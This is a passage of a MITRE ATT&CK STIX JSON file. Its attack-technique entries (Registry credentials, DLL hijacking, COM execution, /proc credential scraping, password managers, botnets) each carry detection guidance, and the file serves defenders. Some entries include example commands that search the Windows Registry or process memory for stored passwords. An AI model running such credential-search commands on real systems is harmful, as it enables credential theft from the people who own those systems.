2018.","url":"https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/"},{"source_name":"Microsoft Anti Spoofing","description":"Microsoft. (2020, October 13). Anti-spoofing protection in EOP. Retrieved October 19, 2020.","url":"https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/anti-spoofing-protection?view=o365-worldwide"},{"source_name":"Elastic - Koadiac Detection with EQL","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Sudhanshu Chauhan, @Sudhanshu_C"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2edd9d6a-5674-4326-a600-ba56de467286","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1214","url":"https://attack.mitre.org/techniques/T1214"},{"url":"https://pentestlab.blog/2017/04/19/stored-credentials/","description":"netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.","source_name":"Pentestlab Stored Credentials"}],"modified":"2020-02-04T12:59:37.464Z","name":"Credentials in Registry","description":"The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor processes for applications that can be used to query the Registry, such as [Reg](https://attack.mitre.org/software/S0075), and collect command parameters that may indicate credentials are being searched. Correlate activity with related suspicious behavior that may indicate an active intrusion to reduce false positives.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User","Administrator"],"x_mitre_system_requirements":["Ability to query some Registry locations depends on the adversary's level of access. User permissions are usually limited to access of user-related Registry keys."],"x_mitre_is_subtechnique":false},{"modified":"2024-04-16T12:26:49.584Z","name":"Stripped Payloads","description":"Adversaries may attempt to make a payload difficult to analyze by removing symbols, strings, and other human readable information. Scripts and executables may contain variables names and other strings that help developers document code functionality. Symbols are often created by an operating system’s `linker` when executable payloads are compiled. Reverse engineers use these symbols and strings to analyze code and to identify functionality in payloads.(Citation: Mandiant golang stripped binaries explanation)(Citation: intezer stripped binaries elf files 2018)\n\nAdversaries may use stripped payloads in order to make malware analysis more difficult. For example, compilers and other tools may provide features to remove or obfuscate strings and symbols. Adversaries have also used stripped payload formats, such as run-only AppleScripts, a compiled and stripped version of [AppleScript](https://attack.mitre.org/techniques/T1059/002), to evade detection and analysis. The lack of human-readable information may directly hinder detection and analysis of payloads.(Citation: SentinelLabs reversing run-only applescripts 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Linux","Windows","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Metadata"],"type":"attack-pattern","id":"attack-pattern--2f41939b-54c3-41d6-8f8b-35f1ec18ed97","created":"2022-09-29T18:30:12.244Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/008","external_id":"T1027.008"},{"source_name":"intezer stripped binaries elf files 2018","description":"Ignacio Sanmillan. (2018, February 7). Executable and Linkable Format 101. Part 2: Symbols. Retrieved September 29, 2022.","url":"https://www.intezer.com/blog/malware-analysis/executable-linkable-format-101-part-2-symbols/"},{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"},{"source_name":"Mandiant golang stripped binaries explanation","description":"STEPHEN ECKELS. (2022, February 28). Ready, Set, Go — Golang Internals and Symbol Recovery. Retrieved September 29, 2022.","url":"https://www.mandiant.com/resources/blog/golang-internals-symbol-recovery"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2f6b4ed7-fef1-44ba-bcb8-1b4beb610b64","type":"attack-pattern","created":"2020-02-12T14:09:53.107Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1559.001","url":"https://attack.mitre.org/techniques/T1559/001"},{"source_name":"Fireeye Hunting COM June 2019","url":"https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html","description":"Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019."},{"url":"https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx","description":"Microsoft. (n.d.). Component Object Model (COM). Retrieved November 22, 2017.","source_name":"Microsoft COM"},{"url":"https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html","description":"Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3, 2018.","source_name":"ProjectZero File Write EoP Apr 2018"},{"url":"https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/","description":"Nelson, M. (2017, November 16). Lateral Movement using Outlook's CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.","source_name":"Enigma Outlook DCOM Lateral Movement Nov 2017"},{"url":"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/","description":"Nelson, M. (2017, January 5). Lateral Movement using the MMC20 Application COM Object. Retrieved November 21, 2017.","source_name":"Enigma MMC20 COM Jan 2017"}],"modified":"2021-07-26T22:51:20.448Z","name":"Component Object Model","description":"Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)\n\nVarious COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Monitor for COM objects loading DLLs and other modules not typically associated with the application.(Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) Enumeration of COM objects, via [Query Registry](https://attack.mitre.org/techniques/T1012) or [PowerShell](https://attack.mitre.org/techniques/T1059/001), may also proceed malicious use.(Citation: Fireeye Hunting COM June 2019)(Citation: Enigma MMC20 COM Jan 2017)\n\nMonitor for spawning of processes associated with COM objects, especially those invoked by a user different than the one currently logged on. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Module: Module Load","Script: Script Execution","Process: Process Creation"],"x_mitre_remote_support":true},{"modified":"2024-09-30T17:32:59.948Z","name":"DLL Search Order Hijacking","description":"Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nPhantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Hexacorn DLL Hijacking)(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Travis Smith, Tripwire","Stefan Kanthak","Marina Liang","Ami Holeston, CrowdStrike","Will Alexander, CrowdStrike"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.3","x_mitre_data_sources":["File: File Modification","Module: Module Load","File: File Creation"],"type":"attack-pattern","id":"attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34","created":"2020-03-13T18:11:08.357Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1574/001","external_id":"T1574.001"},{"source_name":"Adversaries Hijack DLLs","description":"CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved October 19, 2023.","url":"https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/"},{"source_name":"FireEye Hijacking July 2010","description":"Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020.","url":"https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html"},{"source_name":"FireEye fxsst June 2011","description":"Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020.","url":"https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html"},{"source_name":"Hexacorn DLL Hijacking","description":"Hexacorn. (2013, December 8). Beyond good ol’ Run key, Part 5. Retrieved August 14, 2024.","url":"https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/"},{"source_name":"Microsoft Security Advisory 2269637","description":"Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020.","url":"https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637"},{"source_name":"Microsoft Dynamic-Link Library Redirection","description":"Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020.","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN"},{"source_name":"Microsoft Dynamic Link Library Search Order","description":"Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN"},{"source_name":"Microsoft Manifests","description":"Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.","url":"https://msdn.microsoft.com/en-US/library/aa375365"},{"source_name":"FireEye DLL Search Order Hijacking","description":"Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.","url":"https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html"},{"source_name":"OWASP Binary Planting","description":"OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.","url":"https://www.owasp.org/index.php/Binary_planting"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-25T20:40:07.791Z","name":"Automated Collection","description":"Once established within a system or network, an adversary may use automated techniques for collecting internal data. Methods for performing this technique could include use of a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) to search for and copy information fitting set criteria such as file type, location, or name at specific time intervals. \n\nIn cloud-based environments, adversaries may also use cloud APIs, data pipelines, command line interfaces, or extract, transform, and load (ETL) services to automatically collect data.(Citation: Mandiant UNC3944 SMS Phishing 2023) \n\nThis functionality could also be built into remote access tools. \n\nThis technique may incorporate use of other techniques such as [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) and [Lateral Tool Transfer](https://attack.mitre.org/techniques/T1570) to identify and move files, as well as [Cloud Service Dashboard](https://attack.mitre.org/techniques/T1538) and [Cloud Storage Object Discovery](https://attack.mitre.org/techniques/T1619) to identify resources in cloud environments.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Praetorian","Arun Seelagan, CISA"],"x_mitre_deprecated":false,"x_mitre_detection":"Depending on the method used, actions could include common file system commands and parameters on the command-line interface within batch files or scripts. A sequence of actions like this may be unusual, depending on the system and network environment. Automated collection may occur along with other techniques such as [Data Staged](https://attack.mitre.org/techniques/T1074). As such, file access monitoring that shows an unusual process performing sequential file opens and potentially copy actions to another location on the file system for many files at once may indicate automated collection behavior. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), as well as through cloud APIs and command line interfaces.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","macOS","Windows","IaaS","SaaS","Office Suite"],"x_mitre_version":"1.3","x_mitre_data_sources":["User Account: User Account Authentication","Command: Command Execution","File: File Access","Script: Script Execution"],"x_mitre_system_requirements":["Permissions to access directories, files, and API endpoints that store information of interest."],"type":"attack-pattern","id":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","created":"2017-05-31T21:31:27.985Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1119","external_id":"T1119"},{"source_name":"Mandiant UNC3944 SMS Phishing 2023","description":"Mandiant Intelligence. (2023, September 14). Why Are You Texting Me? UNC3944 Leverages SMS Phishing Campaigns for SIM Swapping, Ransomware, Extortion, and Notoriety. Retrieved January 2, 2024.","url":"https://www.mandiant.com/resources/blog/unc3944-sms-phishing-sim-swapping-ransomware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-14T21:51:47.277Z","name":"Clipboard Data","description":"Adversaries may collect data stored in the clipboard from users copying information within or between applications. \n\nFor example, on Windows adversaries can access clipboard data by using clip.exe or Get-Clipboard.(Citation: MSDN Clipboard)(Citation: clip_win_server)(Citation: CISA_AA21_200B) Additionally, adversaries may monitor then replace users’ clipboard with their data (e.g., [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002)).(Citation: mining_ruby_reversinglabs)\n\nmacOS and Linux also have commands, such as pbpaste, to grab clipboard contents.(Citation: Operating with EmPyre)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_deprecated":false,"x_mitre_detection":"Access to the clipboard is a legitimate function of many applications on an operating system. If an organization chooses to monitor for this behavior, then the data will likely need to be correlated against other suspicious or non-user-driven activity.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","created":"2017-05-31T21:31:25.967Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1115","external_id":"T1115"},{"source_name":"CISA_AA21_200B","description":"CISA. (2021, August 20). Alert (AA21-200B) Chinese State-Sponsored Cyber Operations: Observed TTPs. Retrieved June 21, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa21-200b"},{"source_name":"mining_ruby_reversinglabs","description":"Maljic, T. (2020, April 16). Mining for malicious Ruby gems. Retrieved October 15, 2022.","url":"https://blog.reversinglabs.com/blog/mining-for-malicious-ruby-gems"},{"source_name":"clip_win_server","description":"Microsoft, JasonGerend, et al. (2023, February 3). clip. Retrieved June 21, 2022.","url":"https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/clip"},{"source_name":"MSDN Clipboard","description":"Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.","url":"https://msdn.microsoft.com/en-us/library/ms649012"},{"source_name":"Operating with EmPyre","description":"rvrsh3ll. (2016, May 18). Operating with EmPyre. Retrieved July 12, 2017.","url":"https://medium.com/rvrsh3ll/operating-with-empyre-ea764eda3363"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T15:13:32.253Z","name":"Proc Filesystem","description":"Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc//maps` file shows how memory is mapped within the process’s virtual address space. And `/proc//mem`, exposed for debugging purposes, provides access to the process’s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns indicative of credentials. Adversaries may use regex patterns, such as grep -E \"^[0-9a-f-]* r\" /proc/\"$pid\"/maps | cut -d' ' -f 1, to look for fixed strings in memory structures or cached hashes.(Citation: atomic-red proc file system) When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process’s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Tim (Wadhwa-)Brown"],"x_mitre_deprecated":false,"x_mitre_detection":"To obtain the passwords and hashes stored in memory, processes must open a maps file in the `/proc` filesystem for the process being analyzed. This file is stored under the path `/proc/PID/maps`, where the `PID` directory is the unique pid of the program being interrogated for such authentication data. The AuditD monitoring tool, which ships stock in many Linux distributions, can be used to watch for hostile processes opening this file in the proc file system, alerting on the pid, process name, and arguments of such programs.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","File: File Access"],"type":"attack-pattern","id":"attack-pattern--3120b9fa-23b8-4500-ae73-09494f607b7d","created":"2020-02-11T18:46:24.434Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1003/007","external_id":"T1003.007"},{"source_name":"atomic-red proc file system","description":"Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.","url":"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md"},{"source_name":"baeldung Linux proc map 2022","description":"baeldung. (2022, April 8). Understanding the Linux /proc/id/maps File. Retrieved March 31, 2023.","url":"https://www.baeldung.com/linux/proc-id-maps"},{"source_name":"Polop Linux PrivEsc Gitbook","description":"Carlos Polop. (2023, March 5). Linux Privilege Escalation. Retrieved March 31, 2023.","url":"https://book.hacktricks.xyz/linux-hardening/privilege-escalation#proc-usdpid-maps-and-proc-usdpid-mem"},{"source_name":"MimiPenguin GitHub May 2017","description":"Gregal, H. (2017, May 12). MimiPenguin. Retrieved December 5, 2017.","url":"https://github.com/huntergregal/mimipenguin"},{"source_name":"Picus Labs Proc cump 2022","description":"Huseyin Can YUCEEL & Picus Labs. (2022, March 22). Retrieved March 31, 2023.","url":"https://www.picussecurity.com/resource/the-mitre-attck-t1003-os-credential-dumping-technique-and-its-adversary-use"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--31225cd3-cd46-4575-b287-c2c14011c074","type":"attack-pattern","created":"2020-10-01T00:49:05.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1583.005","url":"https://attack.mitre.org/techniques/T1583/005"},{"source_name":"Norton Botnet","url":"https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html","description":"Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."},{"source_name":"Imperva DDoS for Hire","url":"https://www.imperva.com/learn/ddos/booters-stressers-ddosers/","description":"Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."},{"source_name":"Krebs-Anna","description":"Brian Krebs. (2017, January 18). Who is Anna-Senpai, the Mirai Worm Author?. Retrieved May 15, 2017.","url":"https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/"},{"source_name":"Krebs-Bazaar","description":"Brian Krebs. (2016, October 31). Hackforums Shutters Booter Service Bazaar. Retrieved May 15, 2017.","url":"https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/"},{"source_name":"Krebs-Booter","description":"Brian Krebs. (2016, October 27). Are the Days of “Booter” Services Numbered?. Retrieved May 15, 2017.","url":"https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/"}],"modified":"2021-04-15T02:49:14.664Z","name":"Botnet","description":"Adversaries may buy, lease, or rent a network of compromised systems that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Adversaries may purchase a subscription to use an existing botnet from a booter/stresser service. With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).(Citation: Imperva DDoS for Hire)(Citation: Krebs-Anna)(Citation: Krebs-Bazaar)(Citation: Krebs-Booter)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-19T13:53:33.661Z","name":"Password Managers","description":"Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Matt Burrough, @mattburrough, Microsoft"],"x_mitre_deprecated":false,"x_mitre_detection":"Consider monitoring API calls, file read events, and processes for suspicious activity that could indicate searching in process memory of password managers. \n\nConsider monitoring file reads surrounding known password manager applications.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Access","Process: OS API Execution","File: File Access","Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","created":"2021-01-22T16:08:40.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1555/005","external_id":"T1555.005"},{"source_name":"Cyberreason Anchor December 2019","description":"Dahan, A. et al. (2019, December 11). DROPPING ANCHOR: FROM A TRICKBOT INFECTION TO THE DISCOVERY OF THE ANCHOR MALWARE. Retrieved September 10, 2020.","url":"https://www.cybereason.com/blog/dropping-anchor-from-a-trickbot-infection-to-the-discovery-of-the-anchor-malware"},{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"},{"source_name":"ise Password Manager February 2019","description":"ise. (2019, February 19). Password Managers: Under the Hood of Secrets Management. Retrieved January 22, 2021.","url":"https://www.ise.io/casestudies/password-manager-hacking/"},{"source_name":"Github KeeThief","description":"Lee, C., Schoreder, W. (n.d.). KeeThief. Retrieved February 8, 2021.","url":"https://github.com/GhostPack/KeeThief"},{"source_name":"NVD CVE-2019-3610","description":"National Vulnerability Database. (2019, October 9). CVE-2019-3610 Detail. Retrieved April 14, 2021.","url":"https://nvd.nist.gov/vuln/detail/CVE-2019-3610"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41","type":"attack-pattern","created":"2017-05-31T21:31:15.409Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1103","url":"https://attack.mitre.org/techniques/T1103"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://support.microsoft.com/en-us/kb/197571","description":"Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.","source_name":"AppInit Registry"},{"url":"https://msdn.microsoft.com/en-us/library/dn280412","description":"Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.","source_name":"AppInit Secure 